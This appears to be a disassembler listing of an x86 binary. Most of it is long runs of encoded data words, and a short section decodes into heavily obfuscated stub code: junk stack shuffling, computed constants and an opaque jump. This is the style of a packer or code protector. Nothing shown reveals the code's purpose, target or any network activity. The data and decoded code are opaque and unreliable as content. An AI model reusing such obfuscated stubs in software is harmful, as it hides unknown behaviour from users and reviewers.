dd 0A2AA0000h, 0FC85FE93h, 1E415AC6h, 7CA0C59Ah, 0D31E78E0h
dd 0A537EB1Fh, 0D31E2D05h, 0AD31BC1Fh, 45BAEBABh, 56ABFFB3h
dd 5BA602B2h, 4051E437h, 1FB31BC7h, 72261FD3h, 0A7CCFBh
dd 0A2550000h, 0DB870095h, 15F0BB52h, 48113C7h, 1AC66644h
dd 25F2BB42h, 597D21D5h, 0A32CFEA9h, 0F2BC1FF7h, 62FEB225h
dd 25F2BB8Ah, 0BB5931DDh, 38EC25F2h, 30A74BFFh, 32C43B6Ch
dd 51BEF5B5h, 57F317BFh, 25F2BC88h, 60F21D96h, 7305FCACh
dd 758A1BCBh, 0C915A4E3h, 449A2964h, 0BE35CADDh, 2CD8E057h
dd 25F2BC54h, 808127E7h, 0FEA246EEh, 0A4CD985h, 15C91C19h
dd 5F460683h, 42660EA0h, 58EA1592h, 6CFE01A4h, 8214FBB8h
dd 0C06D71F0h, 532BB332h, 238B1E4h, 3866220Ah, 219ABEC1h
dd 3F59E875h, 3AB16522h, 95A2C3h, 673EFE87h, 3A5E0698h
dd 0F9EF119Eh, 19C54E15h, 25F9EE41h, 0C3FC20D4h, 0DEC97D0Fh
dd 0C1E6AA21h, 0E10CAC3Eh, 91309B18h, 6245DC02h, 4562269Dh
dd 357428BAh, 27A638CAh, 0B63D6AB7h, 0F46B0FF2h, 0F6887730h
dd 8D7h, 2AA76000h, 0A0C43B6Ah, 9A67453Dh, 0AC535408h
dd 0BF42661Ah, 0D53A792Dh, 0EA178F43h, 0FF02A458h, 0FF0B96Dh
dd 20E1C97Dh, 34CBDA8Eh, 0C56886A2h, 89000003h, 89572414h
dd 4C781E7h, 81000000h, 4EFh, 243C8700h, 2404895Ch, 3B3A68h
dd 241C8900h, 3988BF57h, 0F7574926h, 815F2414h, 691936EFh
dd 1C78101h, 8950B5A0h, 8B545FF8h, 0C483241Ch, 4EC8104h
dd 89000000h, 4812404h, 0EB15F124h, 8438F17h, 0F1086B81h
dd 0FF17EB15h, 815B2434h, 4C4h, 2434FF00h, 4C48358h, 0F92B5DE9h
dd 0D2E350FFh, 2651AEB8h, 0FFC50306h, 25AA0FE0h, 0FB868001h
dd 40338A41h, 442ABD2Eh, 904D1D59h, 0BAD8A855h, 3529180Fh
dd 0A464E53Dh, 6EFA323Eh, 0D22DA27Eh, 7B31EE69h, 338D8D63h
dd 6A062653h, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch
dd 18042444h, 45000000h, 59F0C355h, 0FF551C4h, 686h, 95BD8B00h
dd 89061F2Dh, 1F0B5D8Dh, 53006A06h, 3E8h, 0C35B2000h, 245C895Bh
dd 24448104h, 1504h, 0C3534300h, 0B70FBA90h, 0C585C7C1h
dd 54061F20h, 66000070h, 85C7D18Bh, 61F137Dh, 0
dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 16h, 0C3C35141h
dd 0C281BC41h, 22D598E6h, 749B5FFh, 6A061Fh, 3E856h, 5E200000h
dd 74895EC3h, 44810424h, 1C0424h, 56460000h, 204D80C3h
dd 96B57EC5h, 95898053h, 61F0589h, 589858Bh, 95FF061Fh
dd 61F2D59h, 95FF006Ah, 61F1D45h, 0EEBC08Bh, 112F4736h
dd 2D6759A5h, 608AE520h, 8D8DE043h, 626541Bh, 850Fh, 89F80000h
dd 1F0B5D8Dh, 52006A06h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
dd 1804h, 0C3524200h, 0BE2B047Eh, 0C585C7BAh, 94061F20h
dd 6A00006Bh, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch
dd 1C042444h, 45000000h, 0FC5DC355h, 549F3790h, 0E9C47FFBh
dd 0Eh, 0D300FD4h, 5DE943B7h, 87BB515h, 85C75AF8h, 61F137Dh
dd 0
dd 0BC9BD29h, 0B5FF061Fh, 61F1545h, 0E850006Ah, 3, 58C35820h
dd 4244489h, 4244481h, 1Bh, 0ECC35040h, 0F0AE0B70h, 6097202Fh
dd 3DE7BA66h, 5E8h, 0E2CF7000h, 85319550h, 61F08EDh, 95FF615Eh
dd 61F2D59h, 61D68B60h, 95FF006Ah, 61F1D45h, 5FEBC08Bh
dd 711E190h, 0BAEAAA3Bh, 0EE9CA00Ch, 0B532D61Ah, 0FA1BD232h
dd 9AFB914Bh, 921F1C00h, 3AE0E2FFh, 4777191Ch, 9367AF16h
dd 0DBD0BFF8h, 0CCA76ABEh, 77DA2B70h, 0EDF8014Eh, 0AC70F745h
dd 1E462994h, 23345BEDh, 0F02E184Bh, 172511AFh, 8F5F47A6h
dd 79BD8E42h, 1CC061Ch, 77361ACEh, 0EB5F6C5Ah, 10h, 3 dup(0)
dd 6AC08B00h, 3E85000h, 20000000h, 8958C358h, 81042444h
dd 15042444h, 40000000h, 9DC5C350h, 0D9952BFCh, 83061F16h
dd 1F06C1BDh, 9750006h, 1F51BD83h, 7400061Fh, 8B535019h
dd 42DB8C0h, 85890000h, 61F0F65h, 0AFA49D8Dh, 0D3FF0621h
dd 0BD83585Bh, 61F1F51h, 50177400h, 42DB853h, 85890000h
dd 61F0F65h, 0AC939D8Dh, 0D3FF0621h, 6A585Bh, 3E851h, 59200000h
dd 4C8959C3h, 44810424h, 140424h, 51410000h, 958B1AC3h
dd 61F0741h, 0E9F7B70Fh, 5, 0D2635E5Fh, 0E9C08B02h, 7
dd 727DE0DBh, 8B2EC731h, 1F1FE58Dh, 56006A06h, 3E8h, 0C35E2000h
dd 2474895Eh, 24448104h, 1B04h, 0C3564600h, 8504409Ah
dd 4ED34501h, 18E3DE81h, 2B566040h, 1F231995h, 0F9835A06h
dd 69840F00h, 6A000000h, 3E85500h, 20000000h, 895DC35Dh
dd 8104246Ch, 19042444h, 45000000h, 465C355h, 3C7ABB08h
dd 0C820Fh, 820F0000h, 6, 1A49952Bh, 0F680061Fh, 3D8B6434h
dd 2Ch, 0A58D89h, 9589061Fh, 61F31B1h, 840FFF0Bh, 18h
dd 3F8BF18Bh, 95897EB6h, 61F0565h, 8589C032h, 61F0E05h
dd 0F0B2AAF3h, 50414935h, 0B6EE8153h, 0C6391351h, 1F202585h
dd 0B70F4706h, 0AB7468F1h, 850FD406h, 0Ch, 6870Fh, 52500000h
dd 585A310Fh, 0B8240481h, 0F08CFDCh, 687h, 4DBD0900h, 0FF061F27h
dd 1F3271B5h, 0F1BF0F06h, 7993858Dh, 958B0622h, 61F0DF5h
dd 227CCE81h, 0D0FF765Bh, 0E853006Ah, 3, 5BC35B20h, 4245C89h
dd 4244481h, 1Bh, 57C35343h, 95BD5222h, 0F01E726h, 68Ah
dd 0F58D2900h, 0F8061F1Ch, 0B818529h, 8589061Fh, 61F1889h
dd 0C646DE80h, 1F202585h, 6A5306h, 3E856h, 5E200000h, 74895EC3h
dd 44810424h, 170424h, 56460000h, 8BD685C3h, 49B509F5h
dd 68061F23h, 37D859CCh, 0CD45C5BAh, 2404813Bh, 50C01130h
dd 8E8h, 43112500h, 6DA38823h, 0B5315ADDh, 61F1D65h, 3271B5FFh
dd 0B70F061Fh, 38F0FD1h, 0F000000h, 858DD1BFh, 6227993h
dd 2061958Bh, 0D0FF061Fh, 0E852006Ah, 3, 5AC35A20h, 4245489h
dd 4244481h, 18h, 88C35242h, 0E2820ABCh, 3890Fh, 0BF0F0000h
dd 0EB858DD3h, 0F06223Dh, 80h, 0F9858900h, 6A061F14h, 3E85600h
dd 20000000h, 895EC35Eh, 81042474h, 1A042444h, 46000000h
dd 6389C356h, 0AE566FA7h, 81F78A55h, 0EA6B3CAh, 6A206A6Bh
dd 0F995FFFFh, 35061F14h, 53504149h, 9CD85C7h, 1061Fh
dd 85C70000h, 61F0AC1h, 0
dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Dh, 0F2C35747h
dd 0C3BF6198h, 0F28DC2E6h, 14E8FC50h, 0E8000000h, 3D64BB52h
dd 504693B5h, 4D69E509h, 0B0716DEFh, 811431E1h, 0F90AC7E2h
dd 0BD835E42h, 61F20F1h, 55840F00h, 1000000h, 1F2F75BDh
dd 0BD858B06h, 64061F2Dh, 0A3h, 11E900h, 0ADB40000h, 0EDC5D9B1h
dd 0B7D6D9D0h, 4BBF9962h, 8B5CF524h, 1F153D85h, 0E08BFC06h
dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 16h, 86C35747h
dd 9D89983Eh, 61F0DB1h, 10DDBD83h, 0F00061Fh, 39B85h, 0D5B58B00h
dd 89061F18h, 1F17558Dh, 2585C606h, 56061F20h, 4E8h, 0C530DF00h
dd 506DB6A9h, 448BD18Bh, 0D6BE0424h, 8B6E18ADh, 89D38B00h
dd 0E8042444h, 14h, 1E27839Dh, 10620C9Ch, 63B7AD8Ah, 6381D9B5h
dd 2CFB531Fh, 0DE8h, 0E9C14700h, 69EE1D53h, 7724FD40h
dd 52503B68h, 585A310Fh, 89585E5Eh, 1F085DBDh, 71B5FF06h
dd 6A061F32h, 3E85100h, 20000000h, 8959C359h, 8104244Ch
dd 19042444h, 41000000h, 7836C351h, 1A2A5896h, 7993858Dh
dd 6A0622h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 160424h
dd 57470000h, 9BC994C3h, 11899529h, 0D0FF061Fh, 0E852006Ah
dd 3, 5AC35A20h, 4245489h, 4244481h, 17h, 0AAC35242h, 508C25A4h
dd 50525060h, 5A310F52h, 0E9310F58h, 6, 0BB1079F9h, 585ACE22h
dd 28F0Fh, 0C88B0000h, 24048961h, 0BF59DE81h, 8D094E32h
dd 61F11B1h, 5FD8D8Dh, 0B58B061Fh, 61F1AD5h, 240C8950h
dd 46AF78Bh, 126DB58Bh, 8868061Fh, 0BE30AB6Ah, 44FDD8AFh
dd 88243481h, 0BA30AB7Ah, 6CBEF07Ah, 5CDB5FFh, 0D0FF061Fh
dd 68B0Fh, 0DE810000h, 780E2477h, 5CDBD8Bh, 6A061Fh, 3E857h
dd 5F200000h, 7C895FC3h, 44810424h, 150424h, 57470000h
dd 355F5C3h, 0C7813C7Fh, 0F8h, 90B0DABAh, 2447C710h, 60000020h
dd 2BB19533h, 0BD83061Fh, 6265481h, 2A840F00h, 8B000001h
dd 28C783D7h, 6A2E07C7h, 6A6469h, 3E856h, 5E200000h, 74895EC3h
dd 44810424h, 170424h, 56460000h, 0DE5354C3h, 447C75Dh
dd 617461h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
dd 15h, 6BC35141h, 0BC19BEC2h, 0BE660132h, 858B6B5Ch, 6265489h
dd 12E8h, 98861200h, 0DDDED395h, 8D726135h, 0A11B6FA2h
dd 0FEB83C1h, 684h, 5D950300h, 5E061F2Dh, 0B20C4789h, 8D858B0Eh
dd 29062654h, 1F00F9B5h, 8478906h, 1AC99D89h, 0C783061Fh
dd 6870F28h, 8B000000h, 1F2F69B5h, 2E07C706h, 6A6E6F63h
dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 1A042444h
dd 42000000h, 64EFC352h, 0C8790131h, 7D8589C0h, 0E9061F14h
dd 7, 88205A43h, 0C73624B6h, 69660447h, 13E90067h, 0A5000000h
dd 74D7100h, 0E75AE8E7h, 0DF445105h, 0C7E93D30h, 858B65D6h
dd 6265485h, 0C4789FCh, 120D8D29h, 858B061Fh, 6265481h
dd 0DE81D78Bh, 59B360FDh, 8B084789h, 1F15C1B5h, 6A5806h
dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 190424h, 51410000h
dd 0F18902C3h, 0FAE9646h, 683h, 0BD952B00h, 8D061F0Ah
dd 1F2E2D8Dh, 55006A06h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
dd 1504h, 0C3554500h, 0B58BE6A8h, 61F1BEDh, 93BE6650h
dd 240C89CEh, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
dd 17h, 4CC35646h, 892ECA72h, 1F16558Dh, 0FDB5FF06h, 31061F05h
dd 1F0AB195h, 7B566806h, 8D0FDFB6h, 0
dd 0AA240481h, 6A204994h, 3E85100h, 20000000h, 8959C359h
dd 8104244Ch, 1D042444h, 41000000h, 0D4E7C351h, 0F30223DDh
dd 0A7C30E0Eh, 5CDB5FFh, 0B70F061Fh, 0F8D0FFD2h, 0B8h
dd 57006A00h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1B04h
dd 0C3574700h, 2D1545DBh, 704B3B96h, 70BB6660h, 2830FA0h
dd 0B2000000h, 0BE666164h, 0C00B1ADBh, 60840Fh, 6A0000h
dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 150424h, 56460000h
dd 0FCFF3AC3h, 23CDB5FFh, 6A061Fh, 3E853h, 5B200000h, 5C895BC3h
dd 44810424h, 1B0424h, 53430000h, 697FEC3h, 0F64E1245h
dd 9D896079h, 61F2BFDh, 0EBDA8166h, 95FF6116h, 61F2D59h
dd 199DBD89h, 0C08B061Fh, 0DE9h, 0EE968600h, 31D4AB2Ch
dd 17C0E191h, 0BD8387DBh, 61F06C1h, 83097500h, 1F1F51BDh
dd 19740006h, 0C08B5350h, 42DB8h, 95858900h, 8D061F13h
dd 21B00B9Dh, 5BD3FF06h, 51BD8358h, 61F1Fh, 53501774h
dd 42DB8h, 95858900h, 8D061F13h, 21ACAC9Dh, 5BD3FF06h
dd 53006A58h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1804h
dd 0C3534300h, 3DB9D473h, 798D01F8h, 60061F13h, 8E9h, 0B9C89800h
dd 0E0BBDE89h, 0D881661Dh, 66613D98h, 0C08BD68Bh, 8BD18B66h
dd 1F1A6995h, 0E8C08B06h, 10h, 628B5578h, 5AC534E5h, 0FECEFD12h
dd 0ED79CC5Eh, 5FD18B53h, 0CEC2815Eh, 81563CACh, 5A66C6h
dd 5830F00h, 66000000h, 0BFFECA81h, 68h, 1A820F00h, 0E8000000h
dd 9, 7890773Ch, 153688A0h, 5E850h, 20250000h, 5A0F8C6Dh
dd 34FF5B59h, 0E9BD8B33h, 58061F1Ch, 2860Fh, 0EE8A0000h
dd 0D40AE881h, 8D336C00h, 61F0615h, 3C2BC081h, 8D890EA9h
dd 61F242Dh, 8E54C081h, 64B13009h, 0B6BF6650h, 1E048FE8h
dd 2B319D09h, 958B061Fh, 61F1F29h, 8902EB83h, 1F11658Dh
dd 8B4B4B06h, 1F2FDD95h, 78FB8106h, 0FFFFFA6h, 1885h, 11BD0900h
dd 0E9061F2Dh, 22h, 216D9F46h, 497EF191h, 3C31990Ch, 65B589D2h
dd 0E9061F06h, 0FFFFFF7Ah, 52C38BD4h, 2D03C2F4h, 4EB6724h
dd 53524FEh, 622E9h, 91703C00h, 0B04F561Ah, 0CC357539h
dd 0E7189155h, 7FAAC70h, 838A4490h, 0A367DE23h, 0C488FF10h
dd 0E2A61DE4h, 0FAC33AC5h, 43FDD581h, 589019ADh, 9D6245E5h
dd 0A64F570Bh, 5B4FFF02h, 0C86C14A6h, 0E51A8D51h, 0F7089F53h
dd 0BF4B165h, 22E1D292h, 0B2D67A85h, 57871620h, 0AB22DDCAh
dd 0C940C1E7h, 5652A305h, 0CD7119ABh, 0ED149454h, 0FD8FB35Bh
dd 13A56A49h, 45DC0281h, 63279E63h, 8929BB44h, 1FD3A1B4h
dd 3C1CC24Dh, 0B3D72A7Ch, 94BC5C1Dh, 0D7D191F0h, 0CCF0982Ah
dd 0A033h, 0BC7CC000h, 44F418F7h, 0EC239063h, 9A46CF48h
dd 1FD3A1C2h, 0EB7DA155h, 0D3A1794Bh, 0E7188D1Fh, 2812A155h
dd 0D3A1A47Ch, 0DF83371Fh, 2AB4434Dh, 934BD603h, 0B8903CC5h
dd 4B1FD3A1h, 9CDD7397h, 31F094BCh, 1, 0EEBC7CBEh, 0BE436313h
dd 44BBEA9Ah, 317535B2h, 0A9FCACD0h, 1147C456h, 0EBD53C55h
dd 15C5E9C0h, 0B7485F94h, 6294D891h, 5AFEF5F0h, 0AF2FBEC8h
dd 53CC3372h, 3E11BC1Dh, 0C2F1BEFFh, 0BAF9A94Dh, 0F6BA3155h
dd 583DCCB1h, 0CFF5AD3Dh, 6727B42Bh, 9711C13Eh, 0C30D86Ah
dd 0A06145A9h, 0D4D1910Eh, 4E57072Bh, 6AFC05A5h, 88C1EC2h
dd 825A068Fh, 151FD3A1h, 1CC23D61h, 0E960A105h, 47D8225h
dd 99B6644h, 0F7AB3D61h, 8E6542B3h, 0AC54E619h, 1ED26408h
dd 1DF5A189h, 0B01FD3A2h, 12C658FCh, 52D66897h, 0C82607D7h
dd 3AC39549h, 0D3A1B68Eh, 7195491Fh, 94BAEEDBh, 0AA3FF0h
dd 45CC0000h, 0EF129461h, 0AF8FB55Dh, 28CA2B40h, 57D4660Ah
dd 0B94A22CEh, 29DD1FD2h, 0AC555505h, 26FEAA33h, 421FD2BAh
dd 0B1659E71h, 0B9B48C38h, 93471FD2h, 44D3DD6Fh, 0E21F879Ah
dd 2FFA76Bh, 53B15389h, 0CC3DA8BDh, 20CFA753h, 0AE621FD3h
dd 6544F88Ah, 27A6089Ah, 0E218A1B7h, 6DE0FA54h, 1BF38FC4h
dd 0AE1FD2A9h, 75F8D4FAh, 0D47B0678h, 0F92F1AB0h, 557EF094h
dd 0B000000h, 6F47F37Ch, 21FD3A1h, 2C7A2A4Eh, 198F43D5h
dd 0B763D7DCh, 1FD3A1DFh, 881ABE72h, 6BAA3CE0h, 0F3A9A8DEh
dd 0DD78F51h, 0B1706EE9h, 1E950CF5h, 40ECBC7Ch, 0D3A1BC94h
dd 0F79B4F1Fh, 7D8223D3h, 0A1764BEBh, 840F1FD3h, 0BC98E15Ah
dd 135F094h, 0C2000000h, 0A9C6545h, 23DCCD8Dh, 15C5E991h
dd 14EC9892h, 301FD3A2h, 9C508978h, 0A19F7723h, 7E321FD3h
dd 37B648DAh, 0D1307AA7h, 6D129858h, 0E09195D1h, 2448EC6Eh
dd 9CF146ADh, 41649A23h, 7284F1E3h, 0EF129848h, 0F591B55Dh
dd 15F08394h, 3FF38539h, 5C209768h, 0FFA84Bh, 9022C66Eh
dd 0F2831EF0h, 0C618A725h, 3D6A5C92h, 43A53706h, 25E9B20Dh
dd 0F33D770h, 40B7485Fh, 0E1C82B7Ch, 40E48C1Eh, 387131AEh
dd 8012EFBBh, 78A234D8h, 0A717FE43h, 0ED11B585h, 1F896A3Dh
dd 0F8AC3EE2h, 0ABE50AFh, 90D1639Eh, 6048D905h, 47DFDA1h
dd 0DCF7CF7Bh, 0D68A25F1h, 7AA737B2h, 9959D22Dh, 7B416F0Eh
dd 947B6005h, 90B65EF0h, 0BB70AFE8h, 0A61D4171h, 0CC0E319h
dd 53976F1Bh, 762A25F2h, 7B767150h, 0FAF8C157h, 6F150975h
dd 0A2000001h, 870095A2h, 9123ECC7h, 0C34CC5E9h, 0C759A603h
dd 0C9366F1Fh, 0CF6B8F37h, 15F0B70Ah, 0BD7103B7h, 929493EAh
dd 0FD08EB22h, 10B458A9h, 5A4C0C99h, 0F46D15A7h, 0F3917048h
dd 2B4F0325h, 41D32C7Bh, 53E51A8Dh, 65F7089Fh, 7507F8B1h
dd 8517E8C1h, 0CB13A2DDh, 7767E262h, 8B02FDAAh, 14693EFEh
dd 0A841DF4h, 0B244E8CBh, 1359E40Ah, 896C73D9h, 0F38ACF65h
dd 52230974h, 9A000000h, 5E8D6511h, 34E025F3h, 25F35E5Ch
dd 4E023BEFh, 5E5129D5h, 30E425F3h, 93A2A90Ch, 3CFC85FEh
dd 5B03956Ch, 0A3339B37h, 0DD661FD3h, 0D3A15931h, 1438EC1Fh
dd 0F59527DBh, 1FD3A21Dh, 0C1BD21ACh, 0F09C1574h, 1FD3A388h
dd 0A1D047FBh, 0A2h, 47F37C2Ah, 1FD3A16Fh, 0D72A4E02h
dd 6F842160h, 9022C63Bh, 1FCB44E8h, 15F0BA96h, 0FED6820Bh
dd 1A25F2BAh, 8539728Dh, 0FFA868E1h, 0A2C66E00h, 0B44B5C10h
dd 2E06B23Bh, 0C125F2BAh, 0AE72E90Dh, 55ACFAF9h, 0B07F1FB1h
dd 3325F2BBh, 3FC2E6A6h, 66E105ADh, 2CFEA978h, 0F2BBA880h
dd 20EFC425h, 188F33E7h, 8A0386B1h, 6427801h, 3F77F2BAh
dd 0A411E985h, 0F0A425F2h, 75996840h, 18C205D9h, 4ADC901Ch
dd 0C3E21196h, 7406983Ch, 0AF6FE9F5h, 0CE7608F9h, 0ADE057AAh
dd 1FB48834h, 8B3F223Fh, 95A29D14h, 7DB8700h, 9215F9C0h
dd 0FF855D09h, 641825F9h, 0F1B12EC0h, 10B84AB7h, 946B3CECh
dd 0B14E591Dh, 0B76CA21Fh, 5C02B3B0h, 0F4922E52h, 0CA20EB86h
dd 297EA33Bh, 28D45DD6h, 290D8650h, 32C43B6Ch, 1891518Ah
dd 9AD55E7h, 0ABE16EE5h, 0E769D1EDh, 41F115D1h, 53079966h
dd 8517A956h, 5E49D806h, 41662AA1h, 7709F8B2h, 8D1FF0C3h
dd 771B41E5h, 4566F378h, 2140D276h, 8, 0ECBC7CAAh, 3CA3F115h
dd 89A6745h, 1AAC5354h, 2DBF4266h, 43D53A79h, 58EA178Fh
dd 6DFF02A4h, 7D0FF0B9h, 8E20E1C9h, 0A234CBDAh, 5B545386h
dd 4C381h, 0EB830000h, 241C8704h
db 5Ch
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
add ebp, 4
sub ebp, 4
xchg ebp, [esp]
pop esp
mov [esp], eax
push ebx
mov ebx, esp
add ebx, 4
sub ebx, 4
xchg ebx, [esp]
pop esp
mov [esp], ebp
push 2E95h
mov [esp], esi
mov esi, 31D41361h
not esi
inc esi
sub esi, 435C6177h
sub esi, 84A92D1Fh
mov eax, esi
pop esi
push 59Eh
mov [esp], esp
add dword ptr [esp], 4
pop ebp
sub esp, 4
mov [esp], eax
add dword ptr [esp], 401D1CABh
pop dword ptr [ebp+8]
sub dword ptr [ebp+8], 401D1CABh
mov ebp, [esp]
push edi
mov edi, esp
add edi, 4
add edi, 4
xchg edi, [esp]
pop esp
push dword ptr [esp]
pop eax
add esp, 4
jmp loc_535A7A
; ---------------------------------------------------------------------------
db 23h, 17h, 84h
dd 1BD5E16Ch, 0B8CF91B7h, 626637Dh, 0E0FFC503h, 0B99D792h
dd 291909A6h, 22037F14h, 158A6C99h, 58F4CDA9h, 770B36A2h
dd 5747AC73h, 2B34EA58h, 6CEDA0E1h, 15EFF5C9h, 3B257A8Eh
dd 22A9D9FAh, 3975A740h, 2CF55DA4h, 36435EFBh, 3420652Fh
dd 38B5A3C5h, 75828BE3h, 0CAD7371h, 3AA642AEh, 1730FD7Eh
dd 72A29B68h, 7AABF988h, 5DB91FCEh, 0D9C40A3h, 4030D99Bh
dd 5E1391BBh, 99A850Fh, 3E63731h, 47BE765Ah, 2A536166h
dd 65888D8Dh, 6A0626h, 3E850h, 58200000h, 448958C3h, 44810424h
dd 190424h, 50400000h, 78487AC3h, 60D6DB28h, 8BD8D29h
dd 8166061Fh, 61BF0FE2h, 5D8D89FCh, 89061F0Bh, 1F00AD8Dh
dd 0C585C706h, 90061F20h, 6A000060h, 3E85100h, 20000000h
dd 8959C359h, 8104244Ch, 17042444h, 41000000h, 36C7C351h
dd 85C7CE1Ah, 61F137Dh, 0
dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 17h, 5DC35646h
dd 0FFB92B25h, 1F0105B5h, 52006A06h, 3E8h, 0C35A2000h
dd 2454895Ah, 24448104h, 1904h, 0C3524200h, 0C0D932F2h
dd 81660E5Fh, 0FFC0CDD0h, 1F2D5995h, 0B99D8B06h, 8B061F11h
dd 1F2D19B5h, 0FF006A06h, 1F1D4595h, 0EBC08B06h, 256E1F1Bh
dd 0C6F7EBFEh, 6A9772F3h, 83C60736h, 166A77C6h, 32D10914h
dd 769015F6h, 0AE8h, 0B156B800h, 0C0DF142Ch, 0E9669025h
dd 10h, 3C7276F7h, 94657D65h, 0F922BCE0h, 0CCBD3324h, 2860F5Fh
dd 0B6000000h, 3AC781E8h, 0F00006Dh, 0B80h, 58C0F00h, 66000000h
dd 130F081h, 0B653F633h, 34FF5B41h, 0DFBF0F3Eh, 8CBB6659h
dd 0D6F18160h, 660B4281h, 0C97CC281h, 9962E981h, 0C1815FCBh
dd 18445D42h, 8963C080h, 0BD31370Ch, 61F0CF1h, 0A9D9D8Bh
dd 0EE83061Fh, 51958B01h, 4E061F1Bh, 1FBB4E4Eh, 81550B57h
dd 0FF9380FEh, 16850FFFh, 89000000h, 1F0891B5h, 1DE906h
dd 56FE0000h, 0AA8A27AFh, 11EF2123h, 0C6B70FE5h, 0FFFF91E9h
dd 8E6B8DFFh, 999F5244h, 8BC1C252h, 0C0h, 18Eh dup(0)
dd 6A000000h, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch
dd 1C042444h, 45000000h, 0B20BC355h, 0F0340A06h, 0F8F88F75h
dd 0E9609DFCh, 10h, 666A67D0h, 0ECE94015h, 0B0A8A5E6h
dd 1EF51BEh, 570CCE81h, 61611F3Ah, 9E9h, 9262C600h, 0BC0F90C4h
dd 6A5DDC43h, 3E85000h, 20000000h, 8958C358h, 81042444h
dd 1B042444h, 40000000h, 1A5BC350h, 7F0BFF31h, 60F51B54h
dd 232808BBh, 8A0F10h, 61000000h, 8244401h, 0E855006Ah
dd 3, 5DC35D20h, 4246C89h, 4244481h, 18h, 2EC35545h, 463F1C20h
dd 0F810Fh, 0AE90000h, 45000000h, 0FDDA093Fh, 0E84259C6h
dd 800FFC2Fh, 0Ch, 0E0816660h, 8166E9BDh, 61B0CAE9h, 51006A58h
dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1604h, 0C3514100h
dd 0FED581Fh, 1681h, 11E900h, 8F500000h, 3243EAADh, 0E8F43020h
dd 0CF0B2F61h, 0F8AC46D7h, 8C0FC39Dh, 1, 10E9F5h, 93BA0000h
dd 0DE9B58DDh, 5E847995h, 31F0B0FAh, 6AE7F5h, 3E856h, 5E200000h
dd 74895EC3h, 44810424h, 1A0424h, 56460000h, 85473CC3h
dd 0F317A822h, 30BEF560h, 616C65A7h, 0F9C08BF5h, 0C8A0Fh
dd 7E90000h, 45000000h, 0B535C986h, 0C081859Bh, 2487CA5Fh
dd 1FBDBF66h, 5850Fh, 9EB80000h, 0E9400E69h, 8, 7C4C45E0h
dd 77032C06h, 0CE78166h, 0CABF0F14h, 0EE816660h, 0F08A5DF0h
dd 0B70F5661h, 81FC5FC0h, 337BCEF0h, 62D7B84Dh, 0FE8B2FDAh
dd 0E3D980F9h, 0B70F5353h, 60595AF7h, 3880FF5h, 66000000h
dd 5661F98Bh, 0FC5EDA8Bh, 81F08B66h, 99EACEC9h, 0F9BF0F24h
dd 0E281F3B7h, 2E3EFB98h, 78A0Fh, 60600000h, 0DEBF0F61h
dd 66606061h, 0AB3DF8Bh, 28B0F61h, 0B5000000h, 0E8B461B6h
dd 7157BB66h, 44DE8160h, 662A210Fh, 0CB83CF81h, 0FFBF6661h
dd 8A605751h, 615852CAh, 0F8BF0F59h, 12E8h, 5EFECE00h
dd 3CED79CCh, 2BCFAFCEh, 2E09A5Bh, 0F9C2A82h, 1386h, 0DE800h
dd 0AAD00000h, 5B9F4491h, 0FF62D5DEh, 5E722432h, 6850F5Eh
dd 81000000h, 783B4DF1h, 13820F35h, 0E8000000h, 0Dh, 0F694E312h
dd 17049A77h, 48BBC66Fh, 0BA665853h, 81661656h, 60CEAFD8h
dd 0FE9h, 94998900h, 1668AC24h, 0E120497Ah, 0B8863241h
dd 0F1CE8060h, 0BE8h, 25EDD800h, 0CE20703Bh, 0F7CC3C0Bh
dd 6661615Bh, 0E781FA8Bh, 34FB88DAh, 6683EF80h, 7543F281h
dd 28B0Fh, 0C68B0000h, 0EE8h, 4F334E00h, 4D97CBB1h, 6295915Dh
dd 0F85E4C3Fh, 60C88B5Fh, 532EBE66h, 0E96158B7h, 10h, 5CEFF6FCh
dd 0FF1DAAC4h, 7EF4AE47h, 5A762F56h, 9BF78166h, 0EE8C5h
dd 0C1A50000h, 7F16D7DFh, 77BD5489h, 0E6F9448Bh, 0ADC18166h
dd 58565F07h, 0CE9h, 61AEAA00h, 0A4C797F5h, 13FE9D60h
dd 6E9B3h, 264B0000h, 0B6FEF64Dh, 0B4FA8B66h, 0D0FABA5Dh
dd 9E94CAAh, 0E7000000h, 8F4A7B3Fh, 93CF8787h, 0EE9h, 0E9786F00h
dd 0C55E6934h, 0D30C1BACh, 579BE4E7h, 7E9h, 0B2D02000h
dd 4516BD2Dh, 0CE85Ah, 0EF870000h, 0D67280E7h, 717A6E1Ah
dd 47B29DA7h, 0DF816659h, 8166E598h, 60AAE7F3h, 1810Fh
dd 0FF90000h, 58Ch, 0D2E5B900h, 0F6156D7h, 198Fh, 11E800h
dd 8C640000h, 6B08D4F4h, 0A41BC4FBh, 2D2A9D74h, 8A080465h
dd 0D3805AC2h, 0E781662Fh, 8D0FD6DAh, 0
dd 9E8h, 0D6548C00h, 0CC95C304h, 0DE9FE7Eh, 69000000h
dd 440961FAh, 0B9DED757h, 0CDD37257h, 8E95Fh, 47BB0000h
dd 113B49Ah, 8D0F47CBh, 5, 0D0D88166h, 6E971h, 5DD00000h
dd 0E23E1036h, 0E8C38B66h, 0Ah, 48C53246h, 7202708Dh, 0CA8BF4D0h
dd 0EE85Ah, 8AB80000h, 9A7E50C5h, 0F9E6B835h, 95FF120h
dd 0AB93BB66h, 48A0F5Eh, 66000000h, 52E4FBBEh, 1FEE8166h
dd 6B35B23h, 8AF28B66h, 0CF8160C3h, 65FA8B80h, 5A616056h
dd 6E861h, 6FB50000h, 0C8C389F4h, 0B242EE81h, 0E9583EAAh
